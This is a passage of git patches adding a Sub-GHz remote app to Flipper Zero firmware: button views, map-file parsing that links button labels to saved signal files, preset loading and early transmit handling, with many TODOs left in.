furi_string_reset(model->ok_label); + }, + false); + return false; + } else if(event->key == InputKeyUp) { + if(event->type == InputTypePress) { + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { model->pressed_btn = 1; }, + true); + return true; + } else if(event->type == InputTypeRelease) { + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { model->pressed_btn = 0; }, + true); + return true; + } + } + return true; +} + +void subrem_view_remote_enter(void* context) { + furi_assert(context); +} + +void subrem_view_remote_exit(void* context) { + furi_assert(context); +} + +SubRemViewRemote* subrem_view_remote_alloc() { + SubRemViewRemote* subrem_view_remote = malloc(sizeof(SubRemViewRemote)); + + // View allocation and configuration + subrem_view_remote->view = view_alloc(); + view_allocate_model( + subrem_view_remote->view, ViewModelTypeLocking, sizeof(SubRemViewRemoteModel)); + view_set_context(subrem_view_remote->view, subrem_view_remote); + view_set_draw_callback(subrem_view_remote->view, (ViewDrawCallback)subrem_view_remote_draw); + view_set_input_callback(subrem_view_remote->view, subrem_view_remote_input); + view_set_enter_callback(subrem_view_remote->view, subrem_view_remote_enter); + view_set_exit_callback(subrem_view_remote->view, subrem_view_remote_exit); + + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { + model->up_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); + model->down_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); + model->left_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); + model->right_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); + model->ok_label = malloc(sizeof(char) * SUBREM_VIEW_REMOTE_MAX_LABEL_LENGTH + 1); + + strcpy(model->up_label, "N/A"); + strcpy(model->down_label, "N/A"); + strcpy(model->left_label, "N/A"); + strcpy(model->right_label, "N/A"); + strcpy(model->ok_label, "N/A"); + + // model->up_label = furi_string_alloc(); + // model->down_label = furi_string_alloc(); + // model->left_label = furi_string_alloc(); + // model->right_label = furi_string_alloc(); + // model->ok_label = furi_string_alloc(); + + model->pressed_btn = 0; + }, + true); + return subrem_view_remote; +} + +void subrem_view_remote_free(SubRemViewRemote* subghz_remote) { + furi_assert(subghz_remote); + + with_view_model( + subghz_remote->view, + SubRemViewRemoteModel * model, + { + free(model->up_label); + free(model->down_label); + free(model->left_label); + free(model->right_label); + free(model->ok_label); + + // furi_string_free(model->up_label); + // furi_string_free(model->down_label); + // furi_string_free(model->left_label); + // furi_string_free(model->right_label); + // furi_string_free(model->ok_label); + }, + true); + view_free(subghz_remote->view); + free(subghz_remote); +} + +View* subrem_view_remote_get_view(SubRemViewRemote* subrem_view_remote) { + furi_assert(subrem_view_remote); + return subrem_view_remote->view; +} \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/transmitter.h b/applications/external/subghz_remote_new/views/transmitter.h new file mode 100644 index 000000000..a324d09ec --- /dev/null +++ b/applications/external/subghz_remote_new/views/transmitter.h @@ -0,0 +1,27 @@ +#pragma once + +#include +#include "../helpers/subrem_custom_event.h" + +typedef struct SubRemViewRemote SubRemViewRemote; + +typedef void (*SubRemViewRemoteCallback)(SubRemCustomEvent event, void* context); + +void subrem_view_remote_set_callback( + SubRemViewRemote* subrem_view_remote, + SubRemViewRemoteCallback callback, + void* context); + +SubRemViewRemote* subrem_view_remote_alloc(); + +void subrem_view_remote_free(SubRemViewRemote* subrem_view_remote); + +View* subrem_view_remote_get_view(SubRemViewRemote* subrem_view_remote); + +void subrem_view_remote_add_data_to_show( + SubRemViewRemote* subrem_view_remote, + const char* up_label, + const char* down_label, + const char* left_label, + const char* right_label, + const char* ok_label); \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/transmitter_old.txt b/applications/external/subghz_remote_new/views/transmitter_old.txt new file mode 100644 index 000000000..ea2dc2f62 --- /dev/null +++ b/applications/external/subghz_remote_new/views/transmitter_old.txt @@ -0,0 +1,317 @@ +#include "transmitter.h" +#include "../subghz_remote_app_i.h" + +#include +#include + +#include + +struct SubGhzRemoteViewRemote { + View* view; + SubGhzRemoteViewRemoteCallback callback; + void* context; +}; + +typedef struct { + FuriString* frequency_str; + FuriString* preset_str; + FuriString* key_str; + // bool show_button; + // FuriString* temp_button_id; + // bool draw_temp_button; +} SubGhzRemoteViewRemoteModel; + +void subghz_view_transmitter_set_callback( + SubGhzRemoteViewRemote* subghz_transmitter, + SubGhzRemoteViewRemoteCallback callback, + void* context) { + furi_assert(subghz_transmitter); + + subghz_transmitter->callback = callback; + subghz_transmitter->context = context; +} + +void subghz_view_transmitter_add_data_to_show( + SubGhzRemoteViewRemote* subghz_transmitter, + const char* key_str, + const char* frequency_str, + const char* preset_str, + bool show_button) { + furi_assert(subghz_transmitter); + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + furi_string_set(model->key_str, key_str); + furi_string_set(model->frequency_str, frequency_str); + furi_string_set(model->preset_str, preset_str); + model->show_button = show_button; + }, + true); +} + +static void subghz_view_transmitter_button_right(Canvas* canvas, const char* str) { + const uint8_t button_height = 12; + const uint8_t vertical_offset = 3; + const uint8_t horizontal_offset = 1; + const uint8_t string_width = canvas_string_width(canvas, str); + const Icon* icon = &I_ButtonCenter_7x7; + const uint8_t icon_offset = 3; + const uint8_t icon_width_with_offset = icon_get_width(icon) + icon_offset; + const uint8_t button_width = string_width + horizontal_offset * 2 + icon_width_with_offset; + + const uint8_t x = (canvas_width(canvas) - button_width) / 2 + 40; + const uint8_t y = canvas_height(canvas); + + canvas_draw_box(canvas, x, y - button_height, button_width, button_height); + + canvas_draw_line(canvas, x - 1, y, x - 1, y - button_height + 0); + canvas_draw_line(canvas, x - 2, y, x - 2, y - button_height + 1); + canvas_draw_line(canvas, x - 3, y, x - 3, y - button_height + 2); + + canvas_draw_line(canvas, x + button_width + 0, y, x + button_width + 0, y - button_height + 0); + canvas_draw_line(canvas, x + button_width + 1, y, x + button_width + 1, y - button_height + 1); + canvas_draw_line(canvas, x + button_width + 2, y, x + button_width + 2, y - button_height + 2); + + canvas_invert_color(canvas); + canvas_draw_icon( + canvas, + x + horizontal_offset, + y - button_height + vertical_offset - 1, + &I_ButtonCenter_7x7); + canvas_draw_str( + canvas, x + horizontal_offset + icon_width_with_offset, y - vertical_offset, str); + canvas_invert_color(canvas); +} + +void subghz_view_transmitter_draw(Canvas* canvas, SubGhzRemoteViewRemoteModel* model) { + canvas_clear(canvas); + canvas_set_color(canvas, ColorBlack); + canvas_set_font(canvas, FontSecondary); + elements_multiline_text_aligned( + canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->key_str)); + canvas_draw_str(canvas, 78, 7, furi_string_get_cstr(model->frequency_str)); + canvas_draw_str(canvas, 113, 7, furi_string_get_cstr(model->preset_str)); + + // if(model->draw_temp_button) { + // canvas_set_font(canvas, FontBatteryPercent); + // canvas_draw_str(canvas, 117, 40, furi_string_get_cstr(model->temp_button_id)); + // canvas_set_font(canvas, FontSecondary); + // } + + // if(model->show_button) { + // canvas_draw_str(canvas, 58, 62, furi_hal_subghz_get_radio_type() ? "R: Ext" : "R: Int"); + // subghz_view_transmitter_button_right(canvas, "Send"); + // } +} + +bool subghz_view_transmitter_input(InputEvent* event, void* context) { + furi_assert(context); + SubGhzRemoteViewRemote* subghz_transmitter = context; + bool can_be_sent = false; + + if(event->key == InputKeyBack && event->type == InputTypeShort) { + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + furi_string_reset(model->frequency_str); + furi_string_reset(model->preset_str); + furi_string_reset(model->key_str); + furi_string_reset(model->temp_button_id); + model->show_button = false; + model->draw_temp_button = false; + }, + false); + return false; + } + + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + if(model->show_button) { + can_be_sent = true; + } + }, + true); + + if(can_be_sent && event->key == InputKeyOk && event->type == InputTypePress) { + subghz_custom_btn_set(0); + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + furi_string_reset(model->temp_button_id); + model->draw_temp_button = false; + }, + true); + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); + return true; + } else if(can_be_sent && event->key == InputKeyOk && event->type == InputTypeRelease) { + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); + return true; + } + + // Temp Buttons (UP) + if(can_be_sent && event->key == InputKeyUp && event->type == InputTypePress) { + subghz_custom_btn_set(1); + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + furi_string_reset(model->temp_button_id); + if(subghz_custom_btn_get_original() != 0) { + if(subghz_custom_btn_get() == 1) { + furi_string_printf( + model->temp_button_id, "%01X", subghz_custom_btn_get_original()); + model->draw_temp_button = true; + } + } + }, + true); + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); + return true; + } else if(can_be_sent && event->key == InputKeyUp && event->type == InputTypeRelease) { + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); + return true; + } + // Down + if(can_be_sent && event->key == InputKeyDown && event->type == InputTypePress) { + subghz_custom_btn_set(2); + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + furi_string_reset(model->temp_button_id); + if(subghz_custom_btn_get_original() != 0) { + if(subghz_custom_btn_get() == 2) { + furi_string_printf( + model->temp_button_id, "%01X", subghz_custom_btn_get_original()); + model->draw_temp_button = true; + } + } + }, + true); + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); + return true; + } else if(can_be_sent && event->key == InputKeyDown && event->type == InputTypeRelease) { + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); + return true; + } + // Left + if(can_be_sent && event->key == InputKeyLeft && event->type == InputTypePress) { + subghz_custom_btn_set(3); + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + furi_string_reset(model->temp_button_id); + if(subghz_custom_btn_get_original() != 0) { + if(subghz_custom_btn_get() == 3) { + furi_string_printf( + model->temp_button_id, "%01X", subghz_custom_btn_get_original()); + model->draw_temp_button = true; + } + } + }, + true); + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); + return true; + } else if(can_be_sent && event->key == InputKeyLeft && event->type == InputTypeRelease) { + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); + return true; + } + // Right + if(can_be_sent && event->key == InputKeyRight && event->type == InputTypePress) { + subghz_custom_btn_set(4); + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + furi_string_reset(model->temp_button_id); + if(subghz_custom_btn_get_original() != 0) { + if(subghz_custom_btn_get() == 4) { + furi_string_printf( + model->temp_button_id, "%01X", subghz_custom_btn_get_original()); + model->draw_temp_button = true; + } + } + }, + true); + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context); + return true; + } else if(can_be_sent && event->key == InputKeyRight && event->type == InputTypeRelease) { + subghz_transmitter->callback( + SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context); + return true; + } + + return true; +} + +void subghz_view_transmitter_enter(void* context) { + furi_assert(context); +} + +void subghz_view_transmitter_exit(void* context) { + furi_assert(context); +} + +SubGhzRemoteViewRemote* subghz_view_transmitter_alloc() { + SubGhzRemoteViewRemote* subghz_transmitter = malloc(sizeof(SubGhzRemoteViewRemote)); + + // View allocation and configuration + subghz_transmitter->view = view_alloc(); + view_allocate_model( + subghz_transmitter->view, ViewModelTypeLocking, sizeof(SubGhzRemoteViewRemoteModel)); + view_set_context(subghz_transmitter->view, subghz_transmitter); + view_set_draw_callback( + subghz_transmitter->view, (ViewDrawCallback)subghz_view_transmitter_draw); + view_set_input_callback(subghz_transmitter->view, subghz_view_transmitter_input); + view_set_enter_callback(subghz_transmitter->view, subghz_view_transmitter_enter); + view_set_exit_callback(subghz_transmitter->view, subghz_view_transmitter_exit); + + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + model->frequency_str = furi_string_alloc(); + model->preset_str = furi_string_alloc(); + model->key_str = furi_string_alloc(); + model->temp_button_id = furi_string_alloc(); + }, + true); + return subghz_transmitter; +} + +void subghz_view_transmitter_free(SubGhzRemoteViewRemote* subghz_transmitter) { + furi_assert(subghz_transmitter); + + with_view_model( + subghz_transmitter->view, + SubGhzRemoteViewRemoteModel * model, + { + furi_string_free(model->frequency_str); + furi_string_free(model->preset_str); + furi_string_free(model->key_str); + furi_string_free(model->temp_button_id); + }, + true); + view_free(subghz_transmitter->view); + free(subghz_transmitter); +} + +View* subghz_view_transmitter_get_view(SubGhzRemoteViewRemote* subghz_transmitter) { + furi_assert(subghz_transmitter); + return subghz_transmitter->view; +} From 8c3fe81edd8e1f2a138f02f927ef301add559ce5 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Sun, 14 May 2023 23:23:18 +0300 Subject: [PATCH 002/100] Preset logic --- .../subghz_remote_new/helpers/subrem_types.h | 12 + .../subghz_remote_new/subghz_remote_app.c | 13 ++ .../subghz_remote_new/subghz_remote_app_i.c | 215 +++++++++++++++++- .../subghz_remote_new/subghz_remote_app_i.h | 29 +++ 4 files changed, 268 insertions(+), 1 deletion(-) diff --git a/applications/external/subghz_remote_new/helpers/subrem_types.h b/applications/external/subghz_remote_new/helpers/subrem_types.h index ffb2f8044..56687977f 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_types.h +++ b/applications/external/subghz_remote_new/helpers/subrem_types.h @@ -29,6 +29,18 @@ typedef enum { SubRemViewIDRemote, //SubRemViewChipDetect, } SubRemViewID; + +typedef enum { + // Loadin State + SubRemSubKeyTypeNoData = 0, + SubRemSubKeyTypeHaveFileName, + + // Key Type + SubRemSubKeyTypeStaticKey = 100, + SubRemSubKeyTypeDynamicKey, + SubRemSubKeyTypeRawKey, +} SubRemSubKeyType; + /* typedef enum { SubRemErrorNoError, diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_new/subghz_remote_app.c index d25e65ce7..35775c9da 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app.c +++ b/applications/external/subghz_remote_new/subghz_remote_app.c @@ -102,6 +102,13 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { SubRemViewChipDetect, subghz_remote_chip_detect_view_get_view(app->subghz_remote_chip_detect_view)); */ + for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { + app->subs_preset[i] = subrem_sub_file_preset_alloc(); + } + + app->setting = subghz_setting_alloc(); + subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user")); + scene_manager_next_scene(app->scene_manager, SubRemSceneStart); return app; @@ -133,6 +140,12 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDRemote); subrem_view_remote_free(app->subrem_remote_view); + subghz_setting_free(app->setting); + + for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { + subrem_sub_file_preset_free(app->subs_preset[i]); + } + // // Reader view // view_dispatcher_remove_view(app->view_dispatcher, SubRemViewReader); // subghz_remote_reader_view_free(app->subghz_remote_reader_view); diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index 43bdd73f3..bc874946d 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -2,8 +2,220 @@ #include #include +#include +#include + #define TAG "SubGhzRemote" +static const char* map_file_labels[SUBREM_MAX_SUB_KEY_COUNT][2] = { + {"OK", "OKLABEL"}, + {"UP", "ULABEL"}, + {"DOWN", "DLABEL"}, + {"LEFT", "LLABEL"}, + {"RIGHT", "RLABEL"}, +}; + +bool subrem_set_preset_data(SubGhzSetting* setting, FreqPreset* freq_preset, const char* preset) { + const char* preset_name = ""; + if(!strcmp(preset, "FuriHalSubGhzPresetOok270Async")) { + preset_name = "AM270"; + } else if(!strcmp(preset, "FuriHalSubGhzPresetOok650Async")) { + preset_name = "AM650"; + } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev238Async")) { + preset_name = "FM238"; + } else if(!strcmp(preset, "FuriHalSubGhzPreset2FSKDev476Async")) { + preset_name = "FM476"; + } else if(!strcmp(preset, "FuriHalSubGhzPresetCustom")) { + // preset_name = "CUSTOM"; + return false; + } else { + FURI_LOG_E(TAG, "Unknown preset"); + return false; + } + size_t preset_index = subghz_setting_get_inx_preset_by_name(setting, preset_name); + freq_preset->data = subghz_setting_get_preset_data(setting, preset_index); + return true; +} + +SubRemSubFilePreset* subrem_sub_file_preset_alloc() { + SubRemSubFilePreset* sub_preset = malloc(sizeof(SubRemSubFilePreset)); + + sub_preset->fff_data = flipper_format_string_alloc(); + sub_preset->file_path = furi_string_alloc(); + sub_preset->label = furi_string_alloc_set_str("N/A"); + sub_preset->type = SubRemSubKeyTypeNoData; + + return sub_preset; +} + +void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { + furi_assert(sub_preset); + + furi_string_free(sub_preset->label); + furi_string_free(sub_preset->file_path); + flipper_format_free(sub_preset->fff_data); + + free(sub_preset); +} + +static bool subrem_sub_file_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { + furi_assert(app); + bool ret = false; + + for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { + if(!flipper_format_read_string( + fff_data_file, map_file_labels[i][0], app->subs_preset[i]->file_path)) { + FURI_LOG_W(TAG, "No file patch for %s", map_file_labels[i][0]); + app->subs_preset[i]->type = SubRemSubKeyTypeNoData; + //continue; + } else if(!flipper_format_rewind(fff_data_file)) { + // Rewind error + //continue; + } else if(!flipper_format_read_string( + fff_data_file, map_file_labels[i][1], app->subs_preset[i]->label)) { + FURI_LOG_W(TAG, "No Label for %s", map_file_labels[i][0]); + furi_string_set_str(app->subs_preset[i]->label, "N/A"); + } else { + FURI_LOG_I( + TAG, + // "Loaded %s key \r\nLabel %s file %s", + "Loaded %s key: %s %s", + map_file_labels[i][0], + furi_string_get_cstr(app->subs_preset[i]->label), + furi_string_get_cstr(app->subs_preset[i]->file_path)); + app->subs_preset[i]->type = SubRemSubKeyTypeHaveFileName; // TODO + ret = true; + } + flipper_format_rewind(fff_data_file); + } + return ret; +} + +static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { + furi_assert(app); + FuriString* temp_str = furi_string_alloc(); + uint32_t temp_data32; + bool ret = false; + SubRemSubFilePreset* sub_preset; + + // TODO: + // const SubGhzProtocolRegistry* protocol_registry_items = + // subghz_environment_get_protocol_registry(app->environment); + + for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { + sub_preset = app->subs_preset[i]; + if(sub_preset->type == SubRemSubKeyTypeNoData) { + continue; + } + do { + if(!flipper_format_file_open_existing( + fff_data_file, furi_string_get_cstr(sub_preset->file_path))) { + FURI_LOG_E( + TAG, + "Error open file %s", + furi_string_get_cstr(sub_preset->file_path)); // TODO: warning + break; + } + + if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { + FURI_LOG_E(TAG, "Missing or incorrect header"); + break; + } + + if(((!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_KEY_FILE_TYPE)) || + (!strcmp(furi_string_get_cstr(temp_str), SUBGHZ_RAW_FILE_TYPE))) && + temp_data32 == SUBGHZ_KEY_FILE_VERSION) { + } else { + FURI_LOG_E(TAG, "Type or version mismatch"); + break; + } + + //Load frequency + if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { + FURI_LOG_W(TAG, "Cannot read frequency. Defaulting to 433.92 MHz"); + sub_preset->freq_preset.frequency = subghz_setting_get_default_frequency( + app->setting); // TODO: Get default from settings + } else if(!furi_hal_subghz_is_tx_allowed(temp_data32)) { + FURI_LOG_E(TAG, "This frequency can only be used for RX"); + break; + } else { + sub_preset->freq_preset.frequency = temp_data32; + } + + //Load preset + if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { + FURI_LOG_E(TAG, "Missing Preset"); + break; + } + + if(!subrem_set_preset_data( + app->setting, &sub_preset->freq_preset, furi_string_get_cstr(temp_str))) { + FURI_LOG_E(TAG, "Cannot load preset."); + break; + } + + //Load protocol + if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { + FURI_LOG_E(TAG, "Missing Protocol"); + break; + } + + FlipperFormat* fff_data = sub_preset->fff_data; + if(!strcmp(furi_string_get_cstr(temp_str), "RAW")) { + //if RAW + subghz_protocol_raw_gen_fff_data( + fff_data, furi_string_get_cstr(sub_preset->file_path)); + sub_preset->type = SubRemSubKeyTypeRawKey; + } else { + stream_copy_full( + flipper_format_get_raw_stream(fff_data_file), + flipper_format_get_raw_stream(fff_data)); + } + + // subghz_protocol_registry_get_by_name( + // protocol_registry_items, furi_string_get_cstr(temp_str)); // TODO: check dynamic and protocol found + + } while(false); + + flipper_format_file_close(fff_data_file); + } + furi_string_free(temp_str); + + ret = false; // TODO: + return ret; +} + +bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { + furi_assert(app); + furi_assert(file_path); + // TODO: drop furi log + FURI_LOG_I(TAG, "Load Map File Start"); // drop + Storage* storage = furi_record_open(RECORD_STORAGE); + FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); + bool ret = false; + FURI_LOG_I(TAG, "Open Map File.."); // drop + if(!flipper_format_file_open_existing(fff_data_file, file_path)) { + FURI_LOG_E(TAG, "Could not open MAP file %s", file_path); + } else { + if(!subrem_sub_file_preset_load(app, fff_data_file)) { + // TODO: error popup or return error type + FURI_LOG_E(TAG, "Could no Sub file path in MAP file"); + } else if(!(flipper_format_file_close(fff_data_file) && + subrem_sub_presets_check(app, fff_data_file))) { + ret = true; + } + } + + flipper_format_file_close(fff_data_file); + flipper_format_free(fff_data_file); + + furi_record_close(RECORD_STORAGE); + + FURI_LOG_I(TAG, "Load Map File Done"); // drop + ret = false; // TODO + return ret; +} + bool subrem_load_from_file(SubGhzRemoteApp* app) { furi_assert(app); @@ -18,7 +230,8 @@ bool subrem_load_from_file(SubGhzRemoteApp* app) { dialog_file_browser_show(app->dialogs, app->file_path, app->file_path, &browser_options); if(res) { - // res = subghz_key_load(app, furi_string_get_cstr(app->file_path), true); + res = subrem_map_file_load(app, furi_string_get_cstr(app->file_path)); + // FIXME res = subghz_key_load(app, furi_string_get_cstr(app->file_path), true); res = false; } diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index bc8c61cdd..e01ba939e 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -18,6 +18,12 @@ #include #include +#include +#include +#include + +#include // FIXME: + // #include "views/subghz_remote_view_programmer.h" // #include "views/subghz_remote_view_reader.h" // #include "views/subghz_remote_view_writer.h" @@ -26,6 +32,25 @@ #define SUBREM_APP_EXTENSION ".txt" #define SUBREM_APP_FOLDER "/ext/subghz_remote" #define SUBGHZ_REMOTE_MAX_LEN_NAME 64 +#define SUBREM_MAX_SUB_KEY_COUNT (5U) + +typedef struct { + uint32_t frequency; + uint8_t* data; +} FreqPreset; + +// Sub File preset +typedef struct { + FlipperFormat* fff_data; + FreqPreset freq_preset; + FuriString* file_path; + FuriString* label; + SubRemSubKeyType type; +} SubRemSubFilePreset; + +SubRemSubFilePreset* subrem_sub_file_preset_alloc(); + +void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset); typedef struct { Gui* gui; @@ -42,6 +67,10 @@ typedef struct { SubRemViewRemote* subrem_remote_view; + SubRemSubFilePreset* subs_preset[SUBREM_MAX_SUB_KEY_COUNT]; + + SubGhzSetting* setting; + // AvrIspProgrammerView* subghz_remote_programmer_view; // AvrIspReaderView* subghz_remote_reader_view; // AvrIspWriterView* subghz_remote_writer_view; From 3f33fe8cb0864604e758bec767cad51ff04efa1a Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Mon, 15 May 2023 15:05:04 +0300 Subject: [PATCH 003/100] add TX --- .../helpers/subrem_custom_event.h | 7 + .../scenes/subrem_scene_openmapfile.c | 1 + .../scenes/subrem_scene_remote.c | 26 +++- .../subghz_remote_new/subghz_remote_app.c | 37 +++++ .../subghz_remote_new/subghz_remote_app_i.c | 144 ++++++++++++++++-- .../subghz_remote_new/subghz_remote_app_i.h | 9 +- .../subghz_remote_new/views/transmitter.c | 4 + 7 files changed, 206 insertions(+), 22 deletions(-) diff --git a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h index d1559a796..0e0ab94ef 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h +++ b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h @@ -11,6 +11,13 @@ typedef enum { //SubRemCustomEvent SubRemCustomEventViewRemoteBack = 100, + SubRemCustomEventViewRemoteStartUP, + SubRemCustomEventViewRemoteStartDOWN, + SubRemCustomEventViewRemoteStartLEFT, + SubRemCustomEventViewRemoteStartRIGHT, + SubRemCustomEventViewRemoteStartOK, + SubRemCustomEventViewRemoteStop, + // SubRemCustomEventSceneDeleteSuccess = 100, // SubRemCustomEventSceneDelete, // SubRemCustomEventSceneDeleteRAW, diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c index 8e651a534..67ccca1c3 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_openmapfile.c @@ -10,6 +10,7 @@ void subrem_scene_openmapfile_on_enter(void* context) { // } else { // scene_manager_next_scene(subghz->scene_manager, SubGhzSceneSavedMenu); // } + scene_manager_next_scene(app->scene_manager, SubRemSceneRemote); } else { scene_manager_search_and_switch_to_previous_scene(app->scene_manager, SubRemSceneStart); } diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c index 787a71760..58e253d1c 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c @@ -21,11 +21,18 @@ bool subrem_scene_remote_update_data_show(void* context) { subrem_view_remote_add_data_to_show( //app->subrem_remote_view, "N/A", "N/A", "N/A", "N/A", "N/A"); app->subrem_remote_view, - "UP", - "DOWN", - "LEFT", - "RIGHT", - "OK"); + // "UP", + // "DOWN", + // "LEFT", + // "RIGHT", + // "OK"); + + furi_string_get_cstr(app->subs_preset[0]->label), + furi_string_get_cstr(app->subs_preset[1]->label), + furi_string_get_cstr(app->subs_preset[2]->label), + furi_string_get_cstr(app->subs_preset[3]->label), + furi_string_get_cstr(app->subs_preset[4]->label)); + // SubGhzProtocolDecoderBase* decoder = subghz_txrx_get_decoder(app->txrx); // if(decoder) { @@ -105,7 +112,16 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { scene_manager_search_and_switch_to_previous_scene( app->scene_manager, SubRemSceneStart); return true; + } else if(event.event == SubRemCustomEventViewRemoteStartUP) { + if(subghz_tx_start_sub(app, app->subs_preset[0])) { + notification_message(app->notifications, &sequence_blink_start_magenta); + } + } else if(event.event == SubRemCustomEventViewRemoteStop) { + subghz_tx_stop_sub(app, app->subs_preset[0]); + notification_message(app->notifications, &sequence_blink_stop); } + // notification_message(app->notification, &sequence_blink_stop); + // else if(event.event == SubGhzCustomEventViewTransmitterError) { // furi_string_set(app->error_str, "Protocol not\nfound!"); // scene_manager_next_scene(app->scene_manager, SubGhzSceneShowErrorSub); diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_new/subghz_remote_app.c index 35775c9da..1bfa3a1b3 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app.c +++ b/applications/external/subghz_remote_new/subghz_remote_app.c @@ -1,5 +1,7 @@ #include "subghz_remote_app_i.h" +#include + static bool subghz_remote_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); SubGhzRemoteApp* app = context; @@ -21,6 +23,17 @@ static void subghz_remote_app_tick_event_callback(void* context) { SubGhzRemoteApp* subghz_remote_app_alloc() { SubGhzRemoteApp* app = malloc(sizeof(SubGhzRemoteApp)); + // Enable power for External CC1101 if it is connected + furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_select_radio_type(SubGhzRadioInternal); + furi_hal_subghz_init_radio_type(SubGhzRadioInternal); + } + + furi_hal_power_suppress_charge_enter(); + // // Enable 5v power, multiple attempts to avoid issues with power chip protection false triggering // uint8_t attempts = 0; // while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { @@ -109,6 +122,21 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { app->setting = subghz_setting_alloc(); subghz_setting_load(app->setting, EXT_PATH("subghz/assets/setting_user")); + app->environment = subghz_environment_alloc(); + + subghz_environment_load_keystore(app->environment, EXT_PATH("subghz/assets/keeloq_mfcodes")); + subghz_environment_load_keystore( + app->environment, EXT_PATH("subghz/assets/keeloq_mfcodes_user")); + subghz_environment_set_came_atomo_rainbow_table_file_name( + app->environment, EXT_PATH("subghz/assets/came_atomo")); + 